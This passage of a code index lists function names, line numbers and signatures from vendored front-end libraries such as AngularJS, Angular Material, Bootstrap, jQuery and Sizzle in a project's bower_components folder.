  function OptgroupDirective (line 936) | function OptgroupDirective() {
  function SelectHeaderDirective (line 964) | function SelectHeaderDirective() {
  function SelectProvider (line 970) | function SelectProvider($$interimElementProvider) {

FILE: web/bower_components/angular-material/modules/js/showHide/showHide.js
  function createDirective (line 25) | function createDirective(name, targetValue) {

FILE: web/bower_components/angular-material/modules/js/sidenav/sidenav.js
  function SidenavService (line 75) | function SidenavService($mdComponentRegistry, $mdUtil, $q, $log) {
  function SidenavFocusDirective (line 172) | function SidenavFocusDirective() {
  function SidenavDirective (line 248) | function SidenavDirective($mdMedia, $mdUtil, $mdConstant, $mdTheming, $a...
  function SidenavController (line 442) | function SidenavController($scope, $element, $attrs, $mdComponentRegistr...

FILE: web/bower_components/angular-material/modules/js/slider/slider.js
  function SliderContainerDirective (line 34) | function SliderContainerDirective() {
  function SliderDirective (line 136) | function SliderDirective($$rAF, $window, $mdAria, $mdUtil, $mdConstant, ...

FILE: web/bower_components/angular-material/modules/js/sticky/sticky.js
  function MdSticky (line 80) | function MdSticky($document, $mdConstant, $$rAF, $mdUtil, $compile) {

FILE: web/bower_components/angular-material/modules/js/subheader/subheader.js
  function MdSubheaderDirective (line 53) | function MdSubheaderDirective($mdSticky, $compile, $mdTheming, $mdUtil) {

FILE: web/bower_components/angular-material/modules/js/swipe/swipe.js
  function getDirective (line 86) | function getDirective(name) {

FILE: web/bower_components/angular-material/modules/js/switch/switch.js
  function MdSwitch (line 59) | function MdSwitch(mdCheckboxDirective, $mdUtil, $mdConstant, $parse, $$r...

FILE: web/bower_components/angular-material/modules/js/tabs/tabs.js
  function MdTab (line 93) | function MdTab () {
  function MdTabItem (line 171) | function MdTabItem () {
  function MdTabLabel (line 185) | function MdTabLabel () {
  function MdTabScroll (line 193) | function MdTabScroll ($parse) {
  function MdTabsController (line 215) | function MdTabsController ($scope, $element, $window, $mdConstant, $mdTa...
  function MdTabs (line 1092) | function MdTabs () {
  function MdTabsTemplate (line 1208) | function MdTabsTemplate ($compile, $mdUtil) {

FILE: web/bower_components/angular-material/modules/js/textField/textField.js
  function mdTextFloatDirective (line 24) | function mdTextFloatDirective($mdTheming, $mdUtil, $parse, $log) {
  function mdInputGroupDirective (line 63) | function mdInputGroupDirective($log) {
  function mdInputDirective (line 82) | function mdInputDirective($mdUtil, $log) {

FILE: web/bower_components/angular-material/modules/js/toast/toast.js
  function MdToastDirective (line 24) | function MdToastDirective($mdToast) {
  function MdToastProvider (line 271) | function MdToastProvider($$interimElementProvider) {

FILE: web/bower_components/angular-material/modules/js/toolbar/toolbar.js
  function mdToolbarDirective (line 72) | function mdToolbarDirective($$rAF, $mdConstant, $mdUtil, $mdTheming, $an...

FILE: web/bower_components/angular-material/modules/js/tooltip/tooltip.js
  function MdTooltipDirective (line 44) | function MdTooltipDirective($timeout, $window, $$rAF, $document, $mdUtil...

FILE: web/bower_components/angular-material/modules/js/virtualRepeat/virtualRepeat.js
  function VirtualRepeatContainerDirective (line 50) | function VirtualRepeatContainerDirective() {
  function virtualRepeatContainerTemplate (line 65) | function virtualRepeatContainerTemplate($element) {
  function VirtualRepeatContainerController (line 91) | function VirtualRepeatContainerController(
  function VirtualRepeatDirective (line 450) | function VirtualRepeatDirective($parse) {
  function VirtualRepeatController (line 475) | function VirtualRepeatController($scope, $element, $attrs, $browser, $do...
  function VirtualRepeatModelArrayLike (line 920) | function VirtualRepeatModelArrayLike(model) {
  function abstractMethod (line 941) | function abstractMethod() {

FILE: web/bower_components/angular-material/modules/js/whiteframe/whiteframe.js
  function MdWhiteframeDirective (line 40) | function MdWhiteframeDirective($log) {

FILE: web/bower_components/angular-messages/angular-messages.js
  function findPreviousMessage (line 456) | function findPreviousMessage(parent, comment) {
  function insertMessageNode (line 480) | function insertMessageNode(parent, comment, key) {
  function removeMessageNode (line 496) | function removeMessageNode(parent, comment, key) {
  function isAttrTruthy (line 509) | function isAttrTruthy(scope, attr) {
  function truthy (line 514) | function truthy(val) {
  function replaceElementWithMarker (line 575) | function replaceElementWithMarker(element, src) {
  function ngMessageDirectiveFactory (line 655) | function ngMessageDirectiveFactory() {

FILE: web/bower_components/angular/angular.js
  function minErr (line 38) | function minErr(module, ErrorConstructor) {
  function isArrayLike (line 249) | function isArrayLike(obj) {
  function forEach (line 306) | function forEach(obj, iterator, context) {
  function forEachSorted (line 350) | function forEachSorted(obj, iterator, context) {
  function reverseParams (line 364) | function reverseParams(iteratorFn) {
  function nextUid (line 378) | function nextUid() {
  function setHashKey (line 388) | function setHashKey(obj, h) {
  function baseExtend (line 397) | function baseExtend(dst, objs, deep) {
  function extend (line 449) | function extend(dst) {
  function merge (line 472) | function merge(dst) {
  function toInt (line 478) | function toInt(str) {
  function inherit (line 483) | function inherit(parent, extra) {
  function noop (line 503) | function noop() {}
  function identity (line 535) | function identity($) {return $;}
  function valueFn (line 539) | function valueFn(value) {return function valueRef() {return value;};}
  function hasCustomToString (line 541) | function hasCustomToString(obj) {
  function isUndefined (line 558) | function isUndefined(value) {return typeof value === 'undefined';}
  function isDefined (line 573) | function isDefined(value) {return typeof value !== 'undefined';}
  function isObject (line 589) | function isObject(value) {
  function isBlankObject (line 600) | function isBlankObject(value) {
  function isString (line 617) | function isString(value) {return typeof value === 'string';}
  function isNumber (line 638) | function isNumber(value) {return typeof value === 'number';}
  function isDate (line 653) | function isDate(value) {
  function isFunction (line 684) | function isFunction(value) {return typeof value === 'function';}
  function isRegExp (line 694) | function isRegExp(value) {
  function isWindow (line 706) | function isWindow(obj) {
  function isScope (line 711) | function isScope(obj) {
  function isFile (line 716) | function isFile(obj) {
  function isFormData (line 721) | function isFormData(obj) {
  function isBlob (line 726) | function isBlob(obj) {
  function isBoolean (line 731) | function isBoolean(value) {
  function isPromiseLike (line 736) | function isPromiseLike(obj) {
  function isTypedArray (line 742) | function isTypedArray(value) {
  function isArrayBuffer (line 746) | function isArrayBuffer(obj) {
  function isElement (line 776) | function isElement(node) {
  function makeMap (line 786) | function makeMap(str) {
  function nodeName_ (line 795) | function nodeName_(element) {
  function includes (line 799) | function includes(array, obj) {
  function arrayRemove (line 803) | function arrayRemove(array, value) {
  function copy (line 869) | function copy(source, destination) {
  function equals (line 1071) | function equals(o1, o2) {
  function noUnsafeEval (line 1136) | function noUnsafeEval() {
  function concat (line 1201) | function concat(array1, array2, index) {
  function sliceArgs (line 1205) | function sliceArgs(args, startIndex) {
  function bind (line 1229) | function bind(self, fn) {
  function toJsonReplacer (line 1250) | function toJsonReplacer(key, value) {
  function toJson (line 1303) | function toJson(obj, pretty) {
  function fromJson (line 1324) | function fromJson(json) {
  function timezoneToOffset (line 1332) | function timezoneToOffset(timezone, fallback) {
  function addDateMinutes (line 1340) | function addDateMinutes(date, minutes) {
  function convertTimezoneToLocal (line 1347) | function convertTimezoneToLocal(date, timezone, reverse) {
  function startingTag (line 1358) | function startingTag(element) {
  function tryDecodeURIComponent (line 1388) | function tryDecodeURIComponent(value) {
  function parseKeyValue (line 1401) | function parseKeyValue(/**string*/keyValue) {
  function toKeyValue (line 1428) | function toKeyValue(obj) {
  function encodeUriSegment (line 1456) | function encodeUriSegment(val) {
  function encodeUriQuery (line 1475) | function encodeUriQuery(val, pctEncodeSpaces) {
  function getNgAttribute (line 1487) | function getNgAttribute(element, ngAttr) {
  function angularInit (line 1632) | function angularInit(element, bootstrap) {
  function bootstrap (line 1720) | function bootstrap(element, modules, config) {
  function reloadWithDebugInfo (line 1798) | function reloadWithDebugInfo() {
  function getTestability (line 1811) | function getTestability(rootElement) {
  function snake_case (line 1821) | function snake_case(name, separator) {
  function bindJQuery (line 1829) | function bindJQuery() {
  function assertArg (line 1883) | function assertArg(arg, name, reason) {
  function assertArgFn (line 1890) | function assertArgFn(arg, name, acceptArrayAnnotation) {
  function assertNotHasOwnProperty (line 1905) | function assertNotHasOwnProperty(name, context) {
  function getter (line 1919) | function getter(obj, path, bindFnToScope) {
  function getBlockNodes (line 1943) | function getBlockNodes(nodes) {
  function createMap (line 1973) | function createMap() {
  function setupModuleLoader (line 1993) | function setupModuleLoader(window) {
  function shallowCopy (line 2353) | function shallowCopy(src, dst) {
  function serializeObject (line 2375) | function serializeObject(obj) {
  function toDebugString (line 2390) | function toDebugString(obj) {
  function publishExternalAPI (line 2522) | function publishExternalAPI(angular) {
  function jqNextId (line 2801) | function jqNextId() { return ++jqId; }
  function camelCase (line 2814) | function camelCase(name) {
  function jqLiteIsTextNode (line 2842) | function jqLiteIsTextNode(html) {
  function jqLiteAcceptsData (line 2846) | function jqLiteAcceptsData(node) {
  function jqLiteHasData (line 2853) | function jqLiteHasData(node) {
  function jqLiteCleanData (line 2860) | function jqLiteCleanData(nodes) {
  function jqLiteBuildFragment (line 2866) | function jqLiteBuildFragment(html, context) {
  function jqLiteParseHTML (line 2903) | function jqLiteParseHTML(html, context) {
  function jqLiteWrapNode (line 2918) | function jqLiteWrapNode(node, wrapper) {
  function JQLite (line 2937) | function JQLite(element) {
  function jqLiteClone (line 2962) | function jqLiteClone(element) {
  function jqLiteDealoc (line 2966) | function jqLiteDealoc(element, onlyDescendants) {
  function jqLiteOff (line 2977) | function jqLiteOff(element, type, fn, unsupported) {
  function jqLiteRemoveData (line 3015) | function jqLiteRemoveData(element, name) {
  function jqLiteExpandoStore (line 3037) | function jqLiteExpandoStore(element, createIfNecessary) {
  function jqLiteData (line 3050) | function jqLiteData(element, key, value) {
  function jqLiteHasClass (line 3076) | function jqLiteHasClass(element, selector) {
  function jqLiteRemoveClass (line 3082) | function jqLiteRemoveClass(element, cssClasses) {
  function jqLiteAddClass (line 3094) | function jqLiteAddClass(element, cssClasses) {
  function jqLiteAddNodes (line 3111) | function jqLiteAddNodes(root, elements) {
  function jqLiteController (line 3137) | function jqLiteController(element, name) {
  function jqLiteInheritedData (line 3141) | function jqLiteInheritedData(element, name, value) {
  function jqLiteEmpty (line 3161) | function jqLiteEmpty(element) {
  function jqLiteRemove (line 3168) | function jqLiteRemove(element, keepData) {
  function jqLiteDocumentLoaded (line 3175) | function jqLiteDocumentLoaded(action, win) {
  function trigger (line 3195) | function trigger() {
  function getBooleanAttrName (line 3249) | function getBooleanAttrName(element, name) {
  function getAliasedAttrName (line 3257) | function getAliasedAttrName(name) {
  function getText (line 3350) | function getText(element, value) {
  function createEventHandler (line 3435) | function createEventHandler(element, events) {
  function defaultHandlerWrapper (line 3487) | function defaultHandlerWrapper(element, event, handler) {
  function specialMouseHandlerWrapper (line 3491) | function specialMouseHandlerWrapper(target, event, handler) {
  function $$jqLiteProvider (line 3738) | function $$jqLiteProvider() {
  function hashKey (line 3769) | function hashKey(obj, nextUidFn) {
  function HashMap (line 3792) | function HashMap(array, isolatedUid) {
  function stringifyFn (line 3906) | function stringifyFn(fn) {
  function extractArgs (line 3914) | function extractArgs(fn) {
  function anonFn (line 3920) | function anonFn(fn) {
  function annotate (line 3930) | function annotate(fn, strictDi, name) {
  function createInjector (line 4481) | function createInjector(modulesToLoad, strictDi) {
  function $AnchorScrollProvider (line 4750) | function $AnchorScrollProvider() {
  function mergeClasses (line 5017) | function mergeClasses(a,b) {
  function extractElementNode (line 5026) | function extractElementNode(element) {
  function splitClasses (line 5035) | function splitClasses(classes) {
  function prepareAnimateOptions (line 5060) | function prepareAnimateOptions(options) {
  function updateData (line 5105) | function updateData(data, classes, value) {
  function handleCSSClassChanges (line 5120) | function handleCSSClassChanges() {
  function addRemoveClassesPostDigest (line 5149) | function addRemoveClassesPostDigest(element, add, remove) {
  function domInsert (line 5263) | function domInsert(element, parentElement, afterElement) {
  function waitForTick (line 5657) | function waitForTick(fn) {
  function next (line 5692) | function next() {
  function onProgress (line 5716) | function onProgress(response) {
  function AnimateRunner (line 5724) | function AnimateRunner(host) {
  function run (line 5880) | function run() {
  function applyAnimationContents (line 5891) | function applyAnimationContents() {
  function Browser (line 5932) | function Browser(window, document, $log, $sniffer) {
  function $BrowserProvider (line 6263) | function $BrowserProvider() {
  function $CacheFactoryProvider (line 6351) | function $CacheFactoryProvider() {
  function $TemplateCacheProvider (line 6666) | function $TemplateCacheProvider() {
  function UNINITIALIZED_VALUE (line 7519) | function UNINITIALIZED_VALUE() {}
  function $CompileProvider (line 7529) | function $CompileProvider($provide, $$sanitizeUriProvider) {
  function SimpleChange (line 9981) | function SimpleChange(previous, current) {
  function directiveNormalize (line 9993) | function directiveNormalize(name) {
  function nodesetLinkingFn (line 10042) | function nodesetLinkingFn(
  function directiveLinkingFn (line 10049) | function directiveLinkingFn(
  function tokenDifference (line 10057) | function tokenDifference(str1, str2) {
  function removeComments (line 10073) | function removeComments(jqNodes) {
  function identifierForController (line 10094) | function identifierForController(controller, ident) {
  function $ControllerProvider (line 10113) | function $ControllerProvider() {
  function $DocumentProvider (line 10295) | function $DocumentProvider() {
  function $ExceptionHandlerProvider (line 10344) | function $ExceptionHandlerProvider() {
  function serializeValue (line 10390) | function serializeValue(v) {
  function $HttpParamSerializerProvider (line 10398) | function $HttpParamSerializerProvider() {
  function $HttpParamSerializerJQLikeProvider (line 10435) | function $HttpParamSerializerJQLikeProvider() {
  function defaultHttpResponseTransform (line 10507) | function defaultHttpResponseTransform(data, headers) {
  function isJsonLike (line 10523) | function isJsonLike(str) {
  function parseHeaders (line 10534) | function parseHeaders(headers) {
  function headersGetter (line 10570) | function headersGetter(headers) {
  function transformData (line 10600) | function transformData(data, headers, status, fns) {
  function isSuccess (line 10613) | function isSuccess(status) {
  function $HttpProvider (line 10624) | function $HttpProvider() {
  function $xhrFactoryProvider (line 11759) | function $xhrFactoryProvider() {
  function $HttpBackendProvider (line 11784) | function $HttpBackendProvider() {
  function createHttpBackend (line 11790) | function createHttpBackend($browser, createXhr, $browserDefer, callbacks...
  function $InterpolateProvider (line 12000) | function $InterpolateProvider() {
  function $IntervalProvider (line 12349) | function $IntervalProvider() {
  function encodePath (line 12570) | function encodePath(path) {
  function parseAbsoluteUrl (line 12581) | function parseAbsoluteUrl(absoluteUrl, locationObj) {
  function parseAppUrl (line 12590) | function parseAppUrl(relativeUrl, locationObj) {
  function startsWith (line 12607) | function startsWith(haystack, needle) {
  function stripBaseUrl (line 12618) | function stripBaseUrl(base, url) {
  function stripHash (line 12625) | function stripHash(url) {
  function trimEmptyHash (line 12630) | function trimEmptyHash(url) {
  function stripFile (line 12635) | function stripFile(url) {
  function serverBase (line 12640) | function serverBase(url) {
  function LocationHtml5Url (line 12654) | function LocationHtml5Url(appBase, appBaseNoFile, basePrefix) {
  function LocationHashbangUrl (line 12733) | function LocationHashbangUrl(appBase, appBaseNoFile, hashPrefix) {
  function LocationHashbangInHtml5Url (line 12845) | function LocationHashbangInHtml5Url(appBase, appBaseNoFile, hashPrefix) {
  function locationGetter (line 13215) | function locationGetter(property) {
  function locationGetterSetter (line 13222) | function locationGetterSetter(property, preprocess) {
  function $LocationProvider (line 13268) | function $LocationProvider() {
  function $LogProvider (line 13602) | function $LogProvider() {
  function ensureSafeMemberName (line 13758) | function ensureSafeMemberName(name, fullExpression) {
  function getStringValue (line 13769) | function getStringValue(name) {
  function ensureSafeObject (line 13787) | function ensureSafeObject(obj, fullExpression) {
  function ensureSafeFunction (line 13818) | function ensureSafeFunction(obj, fullExpression) {
  function ensureSafeAssignContext (line 13832) | function ensureSafeAssignContext(obj, fullExpression) {
  function ifDefined (line 14398) | function ifDefined(v, d) {
  function plusFn (line 14402) | function plusFn(l, r) {
  function isStateless (line 14408) | function isStateless($filter, filterName) {
  function findConstantAndWatchExpressions (line 14413) | function findConstantAndWatchExpressions(ast, $filter) {
  function getInputs (line 14521) | function getInputs(body) {
  function isAssignable (line 14529) | function isAssignable(ast) {
  function assignableAST (line 14533) | function assignableAST(ast) {
  function isLiteral (line 14539) | function isLiteral(ast) {
  function isConstant (line 14547) | function isConstant(ast) {
  function ASTCompiler (line 14551) | function ASTCompiler(astBuilder, $filter) {
  function ASTInterpreter (line 15080) | function ASTInterpreter(astBuilder, $filter) {
  function isPossiblyDangerousMemberName (line 15492) | function isPossiblyDangerousMemberName(name) {
  function getValueOf (line 15498) | function getValueOf(value) {
  function $ParseProvider (line 15553) | function $ParseProvider() {
  function $QProvider (line 16074) | function $QProvider() {
  function $$QProvider (line 16083) | function $$QProvider() {
  function qFactory (line 16099) | function qFactory(nextTick, exceptionHandler) {
  function $$RAFProvider (line 16452) | function $$RAFProvider() { //rAF
  function $RootScopeProvider (line 16549) | function $RootScopeProvider() {
  function $$SanitizeUriProvider (line 17876) | function $$SanitizeUriProvider() {
  function adjustMatcher (line 17967) | function adjustMatcher(matcher) {
  function adjustMatchers (line 17995) | function adjustMatchers(matchers) {
  function $SceDelegateProvider (line 18073) | function $SceDelegateProvider() {
  function $SceProvider (line 18610) | function $SceProvider() {
  function $SnifferProvider (line 19022) | function $SnifferProvider() {
  function $TemplateRequestProvider (line 19110) | function $TemplateRequestProvider() {
  function $$TestabilityProvider (line 19208) | function $$TestabilityProvider() {
  function $TimeoutProvider (line 19323) | function $TimeoutProvider() {
  function urlResolve (line 19474) | function urlResolve(url) {
  function urlIsSameOrigin (line 19508) | function urlIsSameOrigin(requestUrl) {
  function $WindowProvider (line 19555) | function $WindowProvider() {
  function $$CookieReader (line 19568) | function $$CookieReader($document) {
  function $$CookieReaderProvider (line 19610) | function $$CookieReaderProvider() {
  function $FilterProvider (line 19714) | function $FilterProvider($provide) {
  function filterFilter (line 19904) | function filterFilter() {
  function createPredicateFn (line 19941) | function createPredicateFn(expression, comparator, matchAgainstAnyProp) {
  function deepCompare (line 19978) | function deepCompare(actual, expected, comparator, matchAgainstAnyProp, ...
  function getTypeForFilter (line 20028) | function getTypeForFilter(val) {
  function currencyFilter (line 20089) | function currencyFilter($locale) {
  function numberFilter (line 20163) | function numberFilter($locale) {
  function parse (line 20188) | function parse(numStr) {
  function roundNumber (line 20243) | function roundNumber(parsedNumber, fractionSize, minFrac, maxFrac) {
  function formatNumber (line 20318) | function formatNumber(number, pattern, groupSep, decimalSep, fractionSiz...
  function padNumber (line 20384) | function padNumber(num, digits, trim, negWrap) {
  function dateGetter (line 20403) | function dateGetter(name, size, offset, trim, negWrap) {
  function dateStrGetter (line 20415) | function dateStrGetter(name, shortForm, standAlone) {
  function timeZoneGetter (line 20425) | function timeZoneGetter(date, formats, offset) {
  function getFirstThursdayOfYear (line 20435) | function getFirstThursdayOfYear(year) {
  function getThursdayThisWeek (line 20443) | function getThursdayThisWeek(datetime) {
  function weekGetter (line 20449) | function weekGetter(size) {
  function ampmGetter (line 20461) | function ampmGetter(date, formats) {
  function eraGetter (line 20465) | function eraGetter(date, formats) {
  function longEraGetter (line 20469) | function longEraGetter(date, formats) {
  function dateFilter (line 20605) | function dateFilter($locale) {
  function jsonFilter (line 20712) | function jsonFilter() {
  function limitToFilter (line 20842) | function limitToFilter() {
  function sliceFn (line 20869) | function sliceFn(input, begin, end) {
  function orderByFilter (line 21423) | function orderByFilter($parse) {
  function ngDirective (line 21566) | function ngDirective(directive) {
  function defaultLinkFn (line 21945) | function defaultLinkFn(scope, element, attr) {
  function nullFormRenameControl (line 22047) | function nullFormRenameControl(control, name) {
  function FormController (line 22095) | function FormController(element, attrs, $scope, $animate, $interpolate) {
  function getSetter (line 22569) | function getSetter(expression) {
  function stringBasedInputType (line 23678) | function stringBasedInputType(ctrl) {
  function textInputType (line 23684) | function textInputType(scope, element, attr, ctrl, $sniffer, $browser) {
  function baseInputType (line 23689) | function baseInputType(scope, element, attr, ctrl, $sniffer, $browser) {
  function weekParser (line 23799) | function weekParser(isoWeek, existingDate) {
  function createDateParser (line 23831) | function createDateParser(regexp, mapping) {
  function createDateInputType (line 23881) | function createDateInputType(type, regexp, parseDate, format) {
  function badInputChecker (line 23953) | function badInputChecker(scope, element, attr, ctrl) {
  function numberInputType (line 23964) | function numberInputType(scope, element, attr, ctrl, $sniffer, $browser) {
  function urlInputType (line 24018) | function urlInputType(scope, element, attr, ctrl, $sniffer, $browser) {
  function emailInputType (line 24031) | function emailInputType(scope, element, attr, ctrl, $sniffer, $browser) {
  function radioInputType (line 24044) | function radioInputType(scope, element, attr, ctrl) {
  function parseConstantExpr (line 24066) | function parseConstantExpr($parse, context, name, expression, fallback) {
  function checkboxInputType (line 24079) | function checkboxInputType(scope, element, attr, ctrl, $sniffer, $browse...
  function classDirective (line 24663) | function classDirective(name, selector) {
  function processParseErrors (line 27269) | function processParseErrors() {
  function processSyncValidators (line 27289) | function processSyncValidators() {
  function processAsyncValidators (line 27305) | function processAsyncValidators() {
  function setValidity (line 27331) | function setValidity(name, isValid) {
  function validationDone (line 27337) | function validationDone(allValid) {
  function writeToModelIfNeeded (line 27417) | function writeToModelIfNeeded() {
  function addSetValidityMethod (line 27993) | function addSetValidityMethod(context) {
  function isObjectEmpty (line 28087) | function isObjectEmpty(obj) {
  function parseOptionsExpression (line 28379) | function parseOptionsExpression(optionsExp, selectElement, scope) {
  function ngOptionsPostLink (line 28541) | function ngOptionsPostLink(scope, selectElement, attr, ctrls) {
  function updateElementText (line 29073) | function updateElementText(newText) {
  function ngTranscludeCloneAttachFn (line 30399) | function ngTranscludeCloneAttachFn(clone) {
  function chromeHack (line 30471) | function chromeHack(optionElement) {
  function selectPreLink (line 30833) | function selectPreLink(scope, element, attr, ctrls) {
  function selectPostLink (line 30897) | function selectPostLink(scope, element, attrs, ctrls) {
  function getDecimals (line 31326) | function getDecimals(n) {
  function getVF (line 31332) | function getVF(n, opt_precision) {

FILE: web/bower_components/bootstrap/dist/js/bootstrap.js
  function transitionEnd (line 34) | function transitionEnd() {
  function removeElement (line 126) | function removeElement() {
  function Plugin (line 142) | function Plugin(option) {
  function Plugin (line 251) | function Plugin(option) {
  function Plugin (line 470) | function Plugin(option) {
  function getTargetFromTrigger (line 689) | function getTargetFromTrigger($trigger) {
  function Plugin (line 701) | function Plugin(option) {
  function getParent (line 768) | function getParent($this) {
  function clearMenus (line 781) | function clearMenus(e) {
  function Plugin (line 874) | function Plugin(option) {
  function Plugin (line 1200) | function Plugin(option, _relatedTarget) {
  function complete (line 1566) | function complete() {
  function Plugin (line 1736) | function Plugin(option) {
  function Plugin (line 1845) | function Plugin(option) {
  function ScrollSpy (line 1888) | function ScrollSpy(element, options) {
  function Plugin (line 2008) | function Plugin(option) {
  function next (line 2117) | function next() {
  function Plugin (line 2163) | function Plugin(option) {
  function Plugin (line 2320) | function Plugin(option) {

FILE: web/bower_components/bootstrap/grunt/bs-commonjs-generator.js
  function srcPathToDestRequire (line 18) | function srcPathToDestRequire(srcFilepath) {

FILE: web/bower_components/bootstrap/grunt/bs-lessdoc-parser.js
  function markdown2html (line 12) | function markdown2html(markdownString) {
  function Section (line 43) | function Section(heading, customizable) {
  function SubSection (line 55) | function SubSection(heading) {
  function VarDocstring (line 65) | function VarDocstring(markdownString) {
  function SectionDocstring (line 69) | function SectionDocstring(markdownString) {
  function Variable (line 73) | function Variable(name, defaultValue) {
  function Tokenizer (line 79) | function Tokenizer(fileContent) {
  function Parser (line 143) | function Parser(fileContent) {

FILE: web/bower_components/bootstrap/grunt/bs-raw-files-generator.js
  function getFiles (line 14) | function getFiles(type) {

FILE: web/bower_components/bootstrap/js/affix.js
  function Plugin (line 119) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/alert.js
  function removeElement (line 48) | function removeElement() {
  function Plugin (line 64) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/button.js
  function Plugin (line 78) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/carousel.js
  function Plugin (line 176) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/collapse.js
  function getTargetFromTrigger (line 157) | function getTargetFromTrigger($trigger) {
  function Plugin (line 169) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/dropdown.js
  function getParent (line 24) | function getParent($this) {
  function clearMenus (line 37) | function clearMenus(e) {
  function Plugin (line 130) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/modal.js
  function Plugin (line 290) | function Plugin(option, _relatedTarget) {

FILE: web/bower_components/bootstrap/js/popover.js
  function Plugin (line 82) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/scrollspy.js
  function ScrollSpy (line 16) | function ScrollSpy(element, options) {
  function Plugin (line 136) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/tab.js
  function next (line 72) | function next() {
  function Plugin (line 118) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/tooltip.js
  function complete (line 318) | function complete() {
  function Plugin (line 488) | function Plugin(option) {

FILE: web/bower_components/bootstrap/js/transition.js
  function transitionEnd (line 16) | function transitionEnd() {

FILE: web/bower_components/jquery/dist/jquery.js
  function isArrayLike (line 529) | function isArrayLike( obj ) {
  function Sizzle (line 738) | function Sizzle( selector, context, results, seed ) {
  function createCache (line 878) | function createCache() {
  function markFunction (line 896) | function markFunction( fn ) {
  function assert (line 905) | function assert( fn ) {
  function addHandle (line 927) | function addHandle( attrs, handler ) {
  function siblingCheck (line 942) | function siblingCheck( a, b ) {
  function createInputPseudo (line 969) | function createInputPseudo( type ) {
  function createButtonPseudo (line 980) | function createButtonPseudo( type ) {
  function createPositionalPseudo (line 991) | function createPositionalPseudo( fn ) {
  function testContext (line 1014) | function testContext( context ) {
  function setFilters (line 2059) | function setFilters() {}
  function toSelector (line 2130) | function toSelector( tokens ) {
  function addCombinator (line 2140) | function addCombinator( matcher, combinator, base ) {
  function elementMatcher (line 2198) | function elementMatcher( matchers ) {
  function multipleContexts (line 2212) | function multipleContexts( selector, contexts, results ) {
  function condense (line 2221) | function condense( unmatched, map, filter, context, xml ) {
  function setMatcher (line 2242) | function setMatcher( preFilter, selector, matcher, postFilter, postFinde...
  function matcherFromTokens (line 2335) | function matcherFromTokens( tokens ) {
  function matcherFromGroupMatchers (line 2393) | function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
  function winnow (line 2731) | function winnow( elements, qualifier, not ) {
  function sibling (line 3038) | function sibling( cur, dir ) {
  function createOptions (line 3114) | function createOptions( options ) {
  function completed (line 3549) | function completed() {
  function Data (line 3660) | function Data() {
  function dataAttr (line 3870) | function dataAttr( elem, key, data ) {
  function adjustCSS (line 4187) | function adjustCSS( elem, prop, valueParts, tween ) {
  function getAll (line 4276) | function getAll( context, tag ) {
  function setGlobalEval (line 4293) | function setGlobalEval( elems, refElements ) {
  function buildFragment (line 4309) | function buildFragment( elems, context, scripts, selection, ignored ) {
  function returnTrue (line 4430) | function returnTrue() {
  function returnFalse (line 4434) | function returnFalse() {
  function safeActiveElement (line 4440) | function safeActiveElement() {
  function on (line 4446) | function on( elem, types, selector, data, fn, one ) {
  function manipulationTarget (line 5138) | function manipulationTarget( elem, content ) {
  function disableScript (line 5148) | function disableScript( elem ) {
  function restoreScript (line 5152) | function restoreScript( elem ) {
  function cloneCopyEvent (line 5164) | function cloneCopyEvent( src, dest ) {
  function fixInput (line 5199) | function fixInput( src, dest ) {
  function domManip (line 5212) | function domManip( collection, args, callback, ignored ) {
  function remove (line 5302) | function remove( elem, selector, keepData ) {
  function actualDisplay (line 5593) | function actualDisplay( name, doc ) {
  function defaultDisplay (line 5609) | function defaultDisplay( nodeName ) {
  function computeStyleTests (line 5705) | function computeStyleTests() {
  function curCSS (line 5795) | function curCSS( elem, name, computed ) {
  function addGetHookIf (line 5845) | function addGetHookIf( conditionFn, hookFn ) {
  function vendorPropName (line 5882) | function vendorPropName( name ) {
  function setPositiveNumber (line 5901) | function setPositiveNumber( elem, value, subtract ) {
  function augmentWidthOrHeight (line 5913) | function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
  function getWidthOrHeight (line 5957) | function getWidthOrHeight( elem, name, extra ) {
  function showHide (line 6002) | function showHide( elements, show ) {
  function Tween (line 6341) | function Tween( elem, options, prop, end, easing ) {
  function createFxNow (line 6465) | function createFxNow() {
  function genFx (line 6473) | function genFx( type, includeWidth ) {
  function createTween (line 6493) | function createTween( value, prop, animation ) {
  function defaultPrefilter (line 6507) | function defaultPrefilter( elem, props, opts ) {
  function propFilter (line 6643) | function propFilter( props, specialEasing ) {
  function Animation (line 6680) | function Animation( elem, properties, options ) {
  function getClass (line 7369) | function getClass( elem ) {
  function addToPrefiltersOrTransports (line 8025) | function addToPrefiltersOrTransports( structure ) {
  function inspectPrefiltersOrTransports (line 8059) | function inspectPrefiltersOrTransports( structure, options, originalOpti...
  function ajaxExtend (line 8088) | function ajaxExtend( target, src ) {
  function ajaxHandleResponses (line 8108) | function ajaxHandleResponses( s, jqXHR, responses ) {
  function ajaxConvert (line 8166) | function ajaxConvert( s, response, jqXHR, isSuccess ) {
  function done (line 8671) | function done( status, nativeStatusText, responses, headers ) {
  function buildParams (line 8924) | function buildParams( prefix, obj, traditional, add ) {
  function getWindow (line 9490) | function getWindow( elem ) {

FILE: web/bower_components/jquery/external/sizzle/dist/sizzle.js
  function Sizzle (line 193) | function Sizzle( selector, context, results, seed ) {
  function createCache (line 333) | function createCache() {
  function markFunction (line 351) | function markFunction( fn ) {
  function assert (line 360) | function assert( fn ) {
  function addHandle (line 382) | function addHandle( attrs, handler ) {
  function siblingCheck (line 397) | function siblingCheck( a, b ) {
  function createInputPseudo (line 424) | function createInputPseudo( type ) {
  function createButtonPseudo (line 435) | function createButtonPseudo( type ) {
  function createPositionalPseudo (line 446) | function createPositionalPseudo( fn ) {
  function testContext (line 469) | function testContext( context ) {
  function setFilters (line 1514) | function setFilters() {}
  function toSelector (line 1585) | function toSelector( tokens ) {
  function addCombinator (line 1595) | function addCombinator( matcher, combinator, base ) {
  function elementMatcher (line 1653) | function elementMatcher( matchers ) {
  function multipleContexts (line 1667) | function multipleContexts( selector, contexts, results ) {
  function condense (line 1676) | function condense( unmatched, map, filter, context, xml ) {
